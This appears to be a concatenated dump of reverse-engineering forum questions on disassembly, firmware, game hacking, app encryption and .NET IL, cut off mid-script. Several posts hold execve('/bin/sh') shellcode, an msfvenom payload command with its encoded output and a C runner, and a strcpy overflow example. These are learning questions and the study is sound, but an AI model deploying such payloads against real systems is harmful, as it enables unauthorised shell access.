+|           ; DATA XREF from entry0 (0x6dd)
+|           0x000008bc      55             push rbp
+|           0x000008bd      4889e5         mov rbp, rsp
+|           0x000008c0      4883ec10       sub rsp, 0x10
+
+ +
+ Memory Set-Up +
+ +
|           0x000008c4      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=0x1a30 ; '('
+|           0x000008cd      488945f8       mov qword [var_8h], rax
+|           0x000008d1      31c0           xor eax, eax
+|           0x000008d3      c745f3000000.  mov dword [var_dh], 0
+|           0x000008da      c645f700       mov byte [var_9h], 0
+|           0x000008de      488d3d140100.  lea rdi, qword str.Enter__pass__: ; 0x9f9 ; ""Enter \""pass\"":  ""
+|           0x000008e5      e896fdffff     call sym.imp.puts           ; int puts(const char *s)
+
+ +
+ Set up var_dh, var_9 and var_8h = 0, Display message 'Enter ""pass"":' +
+ +
|           0x000008ea      488b151f0720.  mov rdx, qword [obj.stdin]  ; obj.__TMC_END ; [0x201010:8]=0
+|           0x000008f1      488d45f3       lea rax, qword [var_dh]
+|           0x000008f5      be05000000     mov esi, 5
+|           0x000008fa      4889c7         mov rdi, rax
+|           0x000008fd      e89efdffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)
+
+ +
+ Get user input +
+ +
|           0x00000902      488d45f3       lea rax, qword [var_dh]
+|           0x00000906      ba04000000     mov edx, 4
+|           0x0000090b      488d35030100.  lea rsi, qword str.pass     ; 0xa15 ; ""pass""
+|           0x00000912      4889c7         mov rdi, rax
+|           0x00000915      e856fdffff     call sym.imp.strncmp        ; int strncmp(const char *s1, const char *s2, size_t n)
+|           0x0000091a      85c0           test eax, eax
+
+ +
+ Compare user input with ""pass"" +
+ +
|           0x0000091c      90             nop
+|           0x0000091d      b800000000     mov eax, 0
+|           0x00000922      90             nop
+|           0x00000923      90             nop
+|           0x00000924      90             nop
+|           0x00000925      90             nop
+|           0x00000926      90             nop
+|           0x00000927      b800000000     mov eax, 0
+|           0x0000092c      488b4df8       mov rcx, qword [var_8h]
+|           0x00000930      6448330c2528.  xor rcx, qword fs:[0x28]
+|       ,=< 0x00000939      7405           je 0x940
+|       |   0x0000093b      e850fdffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
+|       |   ; CODE XREF from sym.main (0x939)
+|       `-> 0x00000940      c9             leave
+\           0x00000941      c3             ret
+
+ +
+ Leave program, when password is wrong?! +
+ +Maybe I just can't see the wood for the trees... +" +"['java', 'decompiler', 'jeb']"," Title: Is PNF's JEB Reverse Engineering platform written in pure Java?Body: I have seen the JEB decompiler by PNF Software morph from a specialised decompiler to a full fledged reverse engineering platform like Capstone or IDA Pro. + +While examining the earlier versions of JEB, specifically the 1.x ones (some have been cracked and shared online, I noticed that it was created in pure Java, without any native code (JNI) and at most with the Jython library for access via Python API. + +In fact, this Wikipedia article states that JEB's base language is Java. + +However, if you look at the current features of JEB (currently at ver 3.X), +is it possible that the entire software is written in pure Java? From what I know about Java's Write Once Read Anywhere, there seems to be no separate downloads for Windows, Mac or Linux. + +So is it technically possible to implement an IDA-Pro version in pure Java without any native code? + +Even Capstone have new language (Python, Ruby and Java) bindings, but the decompiler engine is written in C/C++. Is this the case for JEB? + +I note there have been attempts here, and here plus a research article to write a machine code dissembler/interpreter in pure Java, but doubt it can be stable enough to run a RE platform. Those repos I mentioned are experimental and outdated. + +As I do not currently have enough money to get myself a JEB licence, can anyone using or have dug in care to comment, so that we can maintain factual information online and on Wikipedia? + +EDIT: Ok. So when I finally do have the money to get myself a licence, I would like to know if its possible to hook LoadLibraryA or LoadLibraryW on Windows to determine. JEB uses an Eclipse RCP executable. So do I hook that executable or the JVM executable? Because the JVM on Windows uses many Windows API calls which will probably utilise the LoadLibraryX calls. +" +"['debugging', 'x86', 'radare2', 'executable']"," Title: How to set a breakpoint in an execve'd program in radare2?Body: If I have a program A, which uses execve to run program B. How can I set a breakpoint in program B's main routine if I'm debugging program A? + +After a certain point in the execve routine, program B will be loaded into memory. After that I can see the symbols in the binary and the regions of memory they have been loaded into. However, to get to that point at the moment I just step through some of the execve instructions which is very fiddly and prone to mistakes. + +Is there a simpler approach to this? +" +"['file-format', 'decompress']"," Title: Compressed PS2 .RAW FileBody: I've been trying to translate Fullmetal Alchemist 3, i extracted the CFC.DIG file (Main data file) using a QuickBMS script. but now I'm stuck with these .Raw files from RACJIN games, [same case as Bleach Soul Carnival]. It generate two folders ""0"": Characters in game voice ""1"": Texture, Models, Animations.. the files seems to be compressed with a unknown algorhythm.. + +here's hex dump of the first few bytes in the file: https://imgur.com/a/3DM6imQdo it not reveal any obvious header structure. + +i wonder if is possible to do it.. anyone could help me with that? + +.RAW Folder ""1"" sample: https://www.dropbox.com/s/w41oxpwq8ph7m56/1%20Folder%20Sample.7z?dl=0 +" +"['x64dbg', 'game-hacking']"," Title: x64dbg - Locating where data is initially writtenBody: I am hoping someone can help me with a question or two. + +Essentially I used to be a computer programmer who always wanted to get into a bit of game hacking, having not done any serious programming for a few years I had an itch for a technical endeavour. I decided on football (soccer) manager and wanted to do two things. + +
    +
  1. Decipher their file format for tactics. Essentially this has changed +from tac to fmf in the last version or so
  2. +
  3. When a game is being played hook into the DirectX calls to essentially record a match, or figure out the format of their saved matches which can be shown to others
  4. +
+ +Now as I have no experience of DirectX I went to do number 1 first and have made good progress, but I am at the point where I need a bit of help and pointing in the right direction. Here's what I have deciphered so far with screenshots. + +The start of the fmf file is written (always 02 01 61 66 65 afe) to start, so essentially the file header + + + +Then actually the old TAC format is written to disk though the user never sees it unless you breakpoint it, as it puts the tactic on the file, reads it back in and then deletes it again + + + + + +The TAC file is read back in and a new section of the fmf is written + + + +Now this looks similar in size to the previous tac file and is written after the tac file is read back in by the application, it also seems to have section separators in the FMF file so it is its own section. + + + +If you look carefully you can see that this section is what was written after it read the tac file back in, now this section appears to be compressed/encrypted but I would guess that this is the tac, and you can clearly see distinct sections in the file separated by + +10 00 00 00 10 00 00 00 + +So it is easy to break the file up. Now my question is, this section is the area of interest. + + + +The actual data always seems to be around rcx+8 which points to an address with a QWORD pointer which points to the data. I tried decompiling this function and got the following: + +
struct s0 {
+    uint32_t f0;
+    int8_t[4] pad8;
+    uint32_t f8;
+    int8_t[4] pad16;
+    uint32_t f16;
+    uint32_t f20;
+};
+
+int32_t fun_146da5dd0();
+
+/* function-which-calls-write */
+uint32_t function_which_calls_write(int64_t rcx, uint32_t rdx, int64_t r8);
+
+/* unknown 1 */
+int64_t unknown_1(struct s0* rcx) {
+    uint32_t eax2;
+    uint32_t eax3;
+    uint32_t edi4;
+    uint32_t rsi5;
+    int64_t rax6;
+    int32_t eax7;
+    int64_t rcx8;
+    int64_t r8_9;
+    uint32_t eax10;
+    uint32_t eax11;
+
+    eax2 = rcx->f20;    
+    if ((*(uint8_t*)&eax2 & 3) != 2 || ((eax3 = rcx->f20, (*(uint8_t*)&eax3 & 0xc0) == 0) || (edi4 = rcx->f0 - rcx->f8, rcx->f16 = 0, rsi5 = rcx->f8, rcx->f0 =     rsi5, (uint1_t)((int32_t)edi4 < (int32_t)0) | (uint1_t)(edi4 == 0)))) {
+        addr_0x146d9e917_2:
+        *(uint32_t*)&rax6 = 0;
+        *(int32_t*)((int64_t)&rax6 + 4) = 0;
+    } else {
+        eax7 = fun_146da5dd0();
+        *(int32_t*)&rcx8 = eax7;
+        *(int32_t*)((int64_t)&rcx8 + 4) = 0;
+        *(uint32_t*)&r8_9 = edi4;
+        *(int32_t*)((int64_t)&r8_9 + 4) = 0;
+        eax10 = function_which_calls_write(rcx8, rsi5, r8_9);
+        if (edi4 == eax10) {
+            eax11 = rcx->f20 >> 2;
+            if (*(uint8_t*)&eax11 & 1) {
+                rcx->f20 = rcx->f20 & 0xfffffffd;
+                goto addr_0x146d9e917_2;
+            }
+        } else {
+            rcx->f20 = rcx->f20 | 16;
+            *(uint32_t*)&rax6 = 0xffffffff;
+            *(int32_t*)((int64_t)&rax6 + 4) = 0;
+        }
+    }
+    return rax6;
+}
+
+ +So obvious it seems like a struct, especially with the +number on the registers. + +Another useful thing to note is that these sections in the fmf file are always different, ALWAYS, so if I make a tactic, save it, load in the tactic again (exact same one) and resave it is totally different content in between the constant separators 10 00 00 00 and the signature at the start of the file. So that leads me to believe it is some form of compression/encryption but with additional seed, such as the time added. + +My question is I have located this data in the function I showed above, but obviously, there is data loaded in before this place in the function or in a previous function in the call stack. Is there any quick way of following where this data comes from? Once I find the exact point it originates I should obviously be able to conclude that is the encryption/compression function which produces it. + +Thanks a lot. +" +"['android', 'java', 'apk', 'api']"," Title: decomplied apk with bad parametersBody: I'm trying to reverse engineering an android app API so this is what I tried: + +First the app was using Okhttp certificate pinning and I couldn't track the URLs with Charles then I tried this method and now the tracking part is working but the request body is encrypted and I really can't understand the method of encryption because all of the requests have different length and its not like Base64 here like this example : + +
+ 2W3UVr4mLWNceSUQ+g4c4ojHCQhlbPC1sjHHNd0l6Ro3FbmefatLFedfI1bvjOHpcApSOjmH1M7xNkLsAO8Vfj90hly8HlfI5paMTNYf/GALQMkevwznI4z1NfbijycqPQNfTZ5C2bjWhS6VHM5VwyPeFVs5R9or/L4EPIAECeGejaQiPfYnGibrGIoeKB34H9YPr7Po6/VoYv317xKNyIXcs290rWibIpMZZ1bwuvfxJGd+YAjUDHj9l32mtKezABBHRnAZDpO8rZ63TsEV8xciaUZhDiDCn1tvV9/QgRrPxNDENDrkwGdQQY3jWt1fuf0g9N7zWR7vi4lwUN8Nb8hCy5rjgPZipX45j0BSRRsHl0t1hQUg4n4ChKZxQy15Pi4sXJsMkFDtqJ5vTjh3iS+X5Dydp4u1QhdLTuEJe50= +
+ +now I'm trying to decompile the APK and try to understand the encryption method. so I decompile the APK then start to find endpoints (this app using okhttp and retrofit), I found the endpoint I wanted + +
@POST(""e/xam/ple"")
+Call<Object> m3550a(@Header(""Content-Type"") String str, @Body String str2);
+
+ +then I tried to rebuild the process of sending this endpoint to simulate the request and encryption but not only its so hard (Java decompiler and Jadx cant decompile all the methods and some of them have exception) but some the methods have bad parameters like this method : + +
public static String j(Context context) {
+    try {
+        return aa.a(context);
+    } catch (Exception e2) {
+        e2.printStackTrace();
+        return a;
+    }
+}
+
+ +and the aa.a() method : + +
public static String a(byte[] bArr) {
+    char[] cArr = new char[(bArr.length * 2)];
+    for (int i = 0; i < bArr.length; i++) {
+        int i2 = bArr[i] & 255;
+        int i3 = i * 2;
+        cArr[i3] = c[i2 >>> 4];
+        cArr[i3 + 1] = c[i2 & 15];
+    }
+    return new String(cArr);
+}
+
+ +is there any way to do this easier i searched the decompiled folder for encrption methods and i find this codes : + +Cipher : + +
public class C1355f {
+/* renamed from: a */
+public static String f3576a = ""MIGfMA0GCSqGSIb3DQEBAQUAA4GSADCBiQKBgQCVSNDQlVBMy2Wh4J3usfQydpwIzY6FwqDwV0Dd+Bk6PA5sc3usQ8mmjLiI2YD1RDv4jjvmAdkXK+HXuxm2fI6XeIQvgnPRaaj9yNcJnFNViogidcFO7Kg2YYj8yj6DgnCkAtgJeUx2DVvyPnv+Vk1q37Tg4qW0dEFNkWL9hKXGSwIDAQAB"";
+
+/* renamed from: a */
+public static byte[] m3787a(String str, String str2) throws Exception {
+    try {
+        str = C1355f.m3786a(str);
+        str2 = str2.getBytes(""UTF8"");
+        byte[] bArr = new byte[16];
+        Arrays.fill(bArr, (byte) 0);
+        AlgorithmParameterSpec ivParameterSpec = new IvParameterSpec(bArr);
+        Cipher instance = Cipher.getInstance(""AES/CBC/PKCS5Padding"");
+        instance.init(1, str, ivParameterSpec);
+        return instance.doFinal(str2);
+    } catch (String str3) {
+        throw new Exception(str3);
+    }
+}
+
+/* renamed from: a */
+public static SecretKeySpec m3786a(String str) throws UnsupportedEncodingException {
+    Object obj = new byte[16];
+    Arrays.fill(obj, (byte) 0);
+    str = str.getBytes(""UTF-8"");
+    System.arraycopy(str, 0, obj, 0, str.length < obj.length ? str.length : obj.length);
+    return new SecretKeySpec(obj, ""AES"");
+}
+
+/* renamed from: a */
+public static byte[] m3788a(byte[] bArr, String str) throws Exception {
+    bArr = KeyFactory.getInstance(""RSA"").generatePublic(new X509EncodedKeySpec(bArr));
+    Cipher instance = Cipher.getInstance(""RSA/ECB/PKCS1Padding"");
+    instance.init(1, bArr);
+    return instance.doFinal(str.getBytes());
+}
+}
+
+ +Base64 : + +
private byte[] f8405h = new byte[0];
+Base64.encodeToString(this.f8405h, 2)
+
+ +sorry if this question is a mess but i need help anything can be helpfull +" +['security']," Title: How would I go about finding the 'flag' in this QR image(Capture the Flag)?Body: + +How do I find the flag in this QR image? After scanning the QR image, I obtain the following text which may be of help: N2QzNjYyMzQ2NDMzMzMzMzM3MzAzNDM0NjEzMzMyNjEzNjM2Mzk2NTY2MzQ2NDMwMzgzODMyMzQz +MzM4MzAzNTYyN2I2NzYxNmM2Ng== + +What have you obtained as the flag and how? Thanking you all in advance. +" +['game-hacking']," Title: How to 'hack' the chat box in an online gameBody: First and foremost, this is really just a UI hack, nothing that would give you an unfair advantage over an opponent. + +I play an online game that is predominately played by Spanish speaking players. I've got a really simple lookup type program that swaps out Spanish words for English so I work out what they are saying, so I can communicate with my teammates. I currently do this by typing whatever I understand from the game window into another window I have open (my program), it's cumbersome and messy and I'd like to just have this done automatically, ideally in the UI of the game. + +Is there a solid plan I can use to go about finding out how to do this. I've tried to find memory addresses of the text, but this seems to change every execution and doesn't even maintain messages as more messages are received. + +Any help or advice would be great; also any questions please feel free to ask, I'm not sure what information is appropriate to share. +" +"['ollydbg', 'tracing', 'compare']"," Title: Compare two traces from ollydbgBody: I have a program that executes differently depending on what files are present on my computer. I'd like to run a trace in two scenarios (with the default file and with an edited version of the file) and then compare the traces to see where things differ. + +Is there an in built method to do this in ollydbg? I'm by no means an expect with ollydbg, but I'm willing to put in any amount of time and effort to figure this out - I just need a little direction. + +Thanks! +" +['firmware']," Title: Help unpacking U-boot firmwareBody: I'm trying to unpack (extract) and analyse the firmware of an IP Camera (Xiaomi mjsxj02cm). + +I have this tf_recovery.img that's supposedly a U-Boot image, but I can't unpack it either using dumpimage or other techniques because mkimage -l doesn't provide me with enough information. + +dumpimage does nothing: + +
$ dumpimage -o out tf_recovery.img
+$ ls
+tf_recovery.img
+
+ +mkimage -ldoesn't show any useful information: + +
$ mkimage -l tf_recovery.img
+GP Header: Size 27051956 LoadAddr 5799cfc3
+
+ +file gives some information, nothing I can use: + +
$ file tf_recovery.img 
+tf_recovery.img: u-boot legacy uImage, MVX2##I3g60b5603KL_LX318####[BR:\3757zXZ, Linux/ARM, OS Kernel Image (lzma), 1724412 bytes, Wed Jun  6 08:02:07 2018, Load Address: 0x20008000, Entry Point: 0x20008000, Header CRC: 0x5799CFC3, Data CRC: 0x2FF27A1D
+
+ +What I've already tried without success + +
    +
  1. Multiple versions of u-boot, including the latest (v2019.04-rc1) built from source.
  2. +
  3. Tried every image type explicitly, by using -T parameter of dumpimage
  4. +
  5. Simply extracting the image like if it was a compressed archive
  6. +
  7. Searched for, to the best of my abilities, any alternative methods online
  8. +
+ +I'd really appreciate if anyone can provide additional ideias on how to unpack this. Thank you! +" +"['disassembly', 'windows', 'binary-analysis', 'dll']"," Title: When can trapping be used?Body: This is the beginning of one of the functions inside NTDLL of Windows XP: + +
MOV EDI,EDI
+PUSH EBP
+MOV EBP,ESP
+...
+
+ +The book on reverse engineering I am reading(Eldad Eilam - Reversing: Secrets of Reverse Engineering) says this about the first line: + +
+ It is essentially dead code that was put in place by the compiler as a + placeholder, in case someone wanted to trap this function. Trapping + means that some external component adds a JMP instruction that is used + as a notification whenever the trapped function is called. +
+ +Can you show me how exactly can trapping be used in practice? I assume that trapping is just calling a function with trapping instruction inside the other function, but I don't realize how the outside function can get ""notified"" about the call... Is it possible the author meant by ""some external component"" the debugger? It can make sense because if I set a breakpoint for some strange assembly insruction like MOV EDI, EDI, I'll get to where trapped function is... +" +"['disassembly', 'c++', 'dll-injection', 'game-hacking', 'lua']"," Title: Finding lua C functions compiled binaryBody: So i am trying to ""hack"" a game however not for cheating purposes. I am looking to extend the games scripting functionality through a DLL that can look for processes and return them. The game I am looking to do this for is Train Simulator (i know, don't laugh) and the game uses lua to script all of the engine functionality within the game. All the 3rd party devs get to see is the lua script that they write. + +Inside the games lua there is core functions. The main ones: + +
function Initialise()
+
+end
+
+function Update(time) -- time is the interval since the last update
+
+end
+
+ +There is also C functions that are used as such: + +
Call(""SetControlValue"", name, index, value)
+or
+Call(""GetIsPlayer"")
+
+ +These return different values. + +What i have so far with my DLL is as follows: + +
#include <windows.h>
+
+
+BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
+{
+    switch (ul_reason_for_call)
+    {
+    case DLL_PROCESS_ATTACH:
+        /* The DLL is being loaded for the first time by a given process.
+        Perform per-process initialization here.  If the initialization
+        is successful, return TRUE; if unsuccessful, return FALSE. */
+        MessageBoxA(0, ""TSDll has been attached !"", ""Train Sim Dll"", MB_ICONEXCLAMATION | MB_OK);
+        break;
+    }
+    return TRUE;
+}
+
+ +And this works. In my train sim engine script i am using the loadlib library to load the DLL. + +
libinit, err = loadlib(""plugins\\TSDll.dll"", ""libinit"")
+if _G[""libinit""] then 
+    Print(""TSDll Library Loaded!"")
+    libinit()
+else
+    Print(""loadlib on TSDll failed: "")
+    Print(err)
+end
+
+ +And i get this result: + + +So the dll initialises properly. + +The problem i face is that the Lua library is directly built in to the game binary (as far as i know) which means i am unable to reference lua.dll for fundamental functions such as lua_pushstring. Does anyone here know how i can find the address of these functions. I know a dll like this has been made before but the person who did it has been very secretive about how it has been done. + +Thanks, +Dan +" +"['debugging', 'malware', 'c', 'thread']"," Title: CreateThread returns true but thread doesn't runBody: I have a PE executable which uses threads to handle most of its functionality. It uses CreateThread API to spawn local threads to handle functions. + + + +The call to the CreateThread returns a valid handle value. + + + +The problem is sometimes I don't see the thread getting created. + +Or other times the thread gets created but none of the code that's specified at that thread's start address gets executed.(even though the thread is created with the dwCreationFlags parameter being set to 0) + +What would the problem be? + +P.S. I can't share the executable but I can provide more screenshots. +" +"['ida', 'idapython', 'ida-plugin']"," Title: How to load a color theme correctly in IDAPro?Body: I work late nights and a dark theme like this would be nice with IDAPro. + +I followed the installation steps and copied the contents of 'plugins' from the github page to the 'plugins' directory in my IDAPro folder in C:/ + +Then, I went to options > colors > import and imported the .clr file. But it only changes the color scheme for the disassembly window. Everything else is still the default theme (see image attached). I searched the web looking for if there's something I'm missing but no luck. Seems like I'm doing everything correctly. + +Is there anything I'm missing? How can I get the theme to propagate all over IDAPro 7.0? + + +" +['buffer-overflow']," Title: why does the following non stack shellcode load /bin/sh string without pushing it onto the Stack?Body: + +the c code: + +
void overflow (char* inbuf)
+{
+  char buf[64];
+
+  strcpy(buf, inbuf);
+}
+
+int main (int argc, char** argv)
+{
+    overflow(argv[1]);
+    return 0;
+}
+
+" +"['disassembly', 'assembly', 'x86', 'shellcode']"," Title: Can anyone please explain the following dissasembly codes?Body: Disassembly: + +
0:  31 c9                    xor    ecx,ecx
+2:  f7 e1                    mul    ecx
+4:  51                       push   ecx
+5:  68 2f 2f 73 68           push   0x68732f2f
+a:  68 2f 62 69 6e           push   0x6e69622f
+f:  89 e3                    mov    ebx,esp
+11: b0 0b                    mov    al,0xb
+13: cd 80                   int    0x80
+15: 51                      push   ecx
+16: b0 01                   mov    al,0x1
+18: cd 80                   int    0x80
+
+" +"['c++', 'memory', 'local-variables']"," Title: How can I find my variables in the running process?Body: I'm new with reversing and I did the following experiment just intent to help my understanding. I created a very simple 64-bit c++ program. + +
#include <iostream>
+#include <string>
+
+using namespace std;
+
+int main(int argc, char* argv[])
+{
+    string s1{ ""test"" };
+    cout << s1 << endl;
+    cout << &s1 << endl;
+
+    cout << ""============"" << endl;
+
+    int i{ 10 };
+    cout << i << endl;
+    cout << &i << endl;
+
+    getchar();
+}
+
+ +I then compiled it and started it. The output is: + + + +Now I know the addresses of these two variables and I want to check it in x64dbg. In x64dbg, I attached to the running process and it seems it's not the variables at the aforementioned addresses: + + +" +"['ida', 'gdb']"," Title: How to use ""handle SIGILL nostop noprint"" with a gdbserver?Body: I have a program linked against libcrypto.so. If i run the program in gdb i'll get the following error: +""Program received signal SIGILL, Illegal instruction."" +I researched a bit and found out that it is a problem of libcrypto and that i can ignore that signals using ""handle SIGILL nostop noprint"" before running. Works in gdb, but does not with a gdbserver. + +Question: +How can i use ""handle SIGILL nostop noprint"" with a gdbserver? If i connect IDA to my gdbserver it always crash with the SIGILL, Illegal instruction error message. +" +"['disassembly', 'rom']"," Title: Legality on sharing rom dumps on abandoned hardwareBody: I have an old piece of HP test gear from the 80's that HP no longer supports. I want to add in a feature and need to dump roms and figure things out to do that. + +How can I share my process and findings on a personal blog without legal issues? + +If a company no longer supports a product can I dump a rom and share it with the community? I physically own the hardware so I can be in possession of the rom I would imagine. If I don't share the entire rom can I copy sections of it to post to help clarify a post? + +This also applies to the old schematics in the manuals. Can I post screenshots or not?? +" +['idapython']," Title: Idapython: adding links where a function address is loaded into a registerBody: I'm writing an Idapython loader script to help reverse-engineer the firmware on an embedded system with a 68000 processor. + +Unfortunately I can't get a copy of the original C compiler used in order to build FLIRT signatures, but I would like to use Idapython to give IDA hints about some of the optimisations it's done. + +As an example - the compiler often does things like this: + +
MOVEA.L   #sub_1234, a4
+...
+JSR       (a4)
+
+ +The optimisation is, it's using an address register to hold the address of the function, which saves code space when one function is called several times. + +I think I can figure out how to search for these patterns in the code -- but how can I tell IDA that ""(a4)"" is really a reference to sub_1234? +" +"['shellcode', 'metasploit']"," Title: alphanumeric shellcodeBody: I have generated an alphanumeric shellcode with this command: + +
msfvenom -a x86 --platform linux -p linux/x86/exec CMD=/bin/sh -e x86/alpha_mixed BufferRegister=ECX -f python
+
+ +I am targeting a 32 bits x86 architecture on Linux. + +Here is the shell code (i've converted it into a string): + +
IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI0jTK68mIcbCVrHDmsSOyywSXfO2SsXgpe86OSRSY2NOyYs1Byxc8s0WpUPDo0b2I2NVOCCSXs0V7RsK9yq8Mk0AA
+
+ +Here is a very basic c program which runs the shellcode: + +
#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+typedef void (*shellcode_t)();
+// unsigned char code[] = ""\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"";
+unsigned char code[] = ""IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI0jTK68mIcbCVrHDmsSOyywSXfO2SsXgpe86OSRSY2NOyYs1Byxc8s0WpUPDo0b2I2NVOCCSXs0V7RsK9yq8Mk0AA"";
+
+
+int main (int argc, char * argv[])
+{
+  shellcode_t appel = (shellcode_t)code;
+  appel();
+
+  return 0;
+}
+
+ +Here is how i compile it: + +
$ cc -Wall -m32 -z execstack -fno-stack-protector -O0 test.c -o test
+
+ +When i run the program i get a segfault. + +Please note the classical shellcode i've commented in the c program works perfectly. So it is not a c program compilation issue. + +Thanks +" +"['ida', 'python']"," Title: IDA Python get struct type with dependenciesBody: Over the IDA Gui it is possible to export a structure with dependencies to a header file. For example if I export a struct that has one member from type DWORD than the header file also contains "typedef unsigned int DWORD". +I want to do a similar task with the python api. +
def get_member_type(struct, idx):
+   member = ida_struct.get_member(struct, idx)
+   tif = tinfo_t()
+   ida_struct.get_member_tinfo(member, tif)
+   return tif
+
+This function return the type of the struct members for example "DWORD" but how can I get the information that this is a unsigned int? +" +"['protocol', 'communication']"," Title: Likely protocol determination by chip IDs and connections?Body: CONTEXT: My first post in this stack. Absolute beginner at RE. Also generally a beginner at anything electronics. Please be kind and correct me instead of ridiculing me. + +GOAL: Replace a damaged controller board within a light fixture with a DIY controller board that provides most of the functionality of the original controller. (ALL original functionality is not needed.) + +NOTES ABOUT GROUNDING: This light fixture is positive-grounded, all grounds are tied to actual earth as well as to the positive output of the PSU. The small board on the right in the picture is an infrared board, and it's LT1791LTS has RE connected to ground (chip pin 3 on datasheet). The LT1791LTS on the LED Driver board does NOT have RE grounded. + +WORK ALREADY DONE: I have searched extensively trying to gain more information about the device and it's component boards, but have not found any technical info on them. The manufacturer does not disclose this info (duh), and they don't repair any of it they just replace boards - which are not sold cheap. So I have bashed my noob head against google for a long time, found datasheets for the chips, tried to ID the eensy weensy components on the boards despite the inane lack of utility of their markings... (can tell things are resistors/capcitors/etc but cant figure out values from markings) I have used my Extech brand multimeter (model 22-816) to identify voltages on the wires, and to identify voltages where they go through the regulators - and to trace out the relevant bits' connections.(the only test equipment I own). + +THOUGHTS: In looking at the datasheets for the chips, it SEEMS to this absolute noob that i'm looking at a RS485 setup wired in full duplex with the controller acting as a master and the LED driver and the IR board actng as slaves. BUT - I don't know anywhere near enough about this to make any claims that it is so, or even that I actually understand well what I just wrote. Also, I'm now aware that I'll need to ""sniff"" the communications, but do not yet know enough to proceed to a purchase of this kit. Will do so once I know enough to use it without screwing up the mismatch of positive ground vs negative ground (desktop vs. fixture grounding being opposite). + +QUESTION: From the information in the posted picture, can anyone here narrow down the 'possibility list' for which means and methods are being used to communicate between the controller board (top left item) and the LED Driver board (lower left item)? Not just ""it is RS485"", but ""It's RS485 and it looks like it will probably use XXXXXX over that."" + +Ideally, an explanation of what's happening here would be awesome but it is more important for me to just figure out how to talk to that LED Driver so ignore 'ideal' if need be. (Eg: why one chip on controller but a different chip on the two connected boards? Why would one connected board have RE grounded but the other doesn't? Etc) + +More than happy to add images or info to this question as we go along - just tell me what's needed! + +DATASHEETS IN SAME ORDER AS THEY APPEAR TOP TO BOTTOM ON PICTURE: + +https://www.analog.com/media/en/technical-documentation/data-sheets/adm2582e_2587e.pdf + +http://www.farnell.com/datasheets/681099.pdf?_ga=2.26682873.518865155.1550566744-570871691.1522878168 + +http://www.ti.com/lit/ds/symlink/sn65als180.pdf + +https://www.analog.com/media/en/technical-documentation/data-sheets/178591fd.pdf + +http://www.ti.com/lit/ds/symlink/iso7220a.pdf + +http://www.ti.com/lit/ds/symlink/tms320f2808.pdf + + +" +"['c#', 'visual-basic']"," Title: What methods exist for adding new windows form controls into compiled assembly using dnSpy?Body: I am trying to add another button into windows form using dnSpy. Is it possible to add another? + +I want the end result be like this one. + + +Any help will be highly appreciated.Thanks +" +['hardware']," Title: Glitch attack on a SPI flash eepromBody: I'm investigating the glitch attacks scenario and in particular, I read about the Nand Glitching with an example here. During my steps into reverse engineering a home router - you can read my steps here - I was wondering if this attack is applicable not only to NAND memory but also to the classic SPI Flash memory, like the one you can read in the aforementioned post. + +In case it's possible, do you have any resource where I can study from? Also, what PINs need to be shortcircuited to try the attack? + +Thanks! +" +['.net']," Title: Identify ldfld reference in .NET when parsing GetILAsByteArrayBody: I was experimenting with idea of decompiling a PowerShell cmdlet using reflection. + +While I got some basics seem to work, how do I resolve the value in OperandField, for example ldfld cmd in this case if decompiled correctly may look like this: + +
ldfld      string[] Microsoft.PowerShell.Commands.GetAclCommand::path
+
+ +Where as currently I am just displaying as ""ldfld"" + +This is parsed in this section of code: + +
{ $_ -eq ""InlineBrTarget"" -or
+                  $_ -eq ""InlineField"" -or
+                  $_ -eq ""InlineI"" -or
+                  $_ -eq ""InlineSig"" -or
+                  $_ -eq ""InlineString"" -or
+                  $_ -eq ""InlineTok"" -or
+                  $_ -eq ""InlineType"" -or 
+                  $_ -eq ""ShortInlineR"" }
+                {
+                    $count = [BitConverter]::ToInt32($Ilbytes,$offset+1)
+                    $offset += 4
+                }
+
+ +The full script here: + +
# command to decompile
+$cmd = ""Get-Acl""
+
+$cmdInfo = Get-Command -CommandType Cmdlet -Name $cmd
+
+$methods = $cmdInfo.ImplementingType.UnderlyingSystemType.GetMethods()
+
+$opCodeDictionary = @{}
+ForEach ($field in [System.Reflection.Emit.OpCodes].GetFields())
+{
+    $fieldValue = $field.GetValue($null)
+    $opCodeDictionary.Add($fieldValue.Value,$fieldValue)
+}
+ForEach ($method in $Methods)
+{
+    Write-Host "".method "" -NoNewline
+    if ($method.IsPublic) 
+    { 
+        Write-Host ""public "" -NoNewline 
+    }
+
+    if ($method.IsPrivate) 
+    {
+        Write-Host ""private "" -NoNewline
+    }
+
+    if ($method.IsHideBySig) 
+    {
+        Write-Host ""hidebysig "" -NoNewline
+    }
+
+    if ($method.IsSpecialName) 
+    {
+        Write-Host ""specialname "" -NoNewline
+    }
+
+
+    if ($method.GetParameters() -ne $null)
+    {
+        Write-Host $method.GetParameters()[0]
+    }
+    else
+    {
+         ""$($method.ReturnType.Name) $($method.Name)""
+    }
+    Write-Host ""{""
+    $methodBody = $method.GetMethodBody()
+    if ($methodBody -ne $null)
+    {
+        $ilBytes = $methodBody.GetILAsByteArray()
+        $offset = 0
+
+        while ($offset -lt $ilBytes.Length)
+        {
+          Write-Host (""IL_{0:x4}: "" -f $offset) -NoNewline
+          [System.Int16]$code = $ilBytes[$offset++];
+          if ($code -eq 0xfe)
+          {
+             [System.Int16]$code = $ilBytes[$offset++] -bor 0xfe00
+          }
+
+          $opCode = $opCodeDictionary[[System.Int16]$code]
+
+          Write-Host $opCode.Name -NoNewline
+          switch ($opCode.Name)
+          {
+            { $_ -eq ""call"" -or
+              $_ -eq ""callvirt"" }
+              {
+                Write-Host "" "" -NoNewline
+              }
+            default { 
+                Write-Host 
+                }
+          } 
+          switch ($opCode.OperandType)
+          {
+                ""InlineMethod""
+                {
+                     $metaDataToken = [BitConverter]::ToInt32($ilBytes,$offset)
+                     $genericMethodArguments = $null
+                     if ($method.IsGenericMethod -eq $true)
+                     {
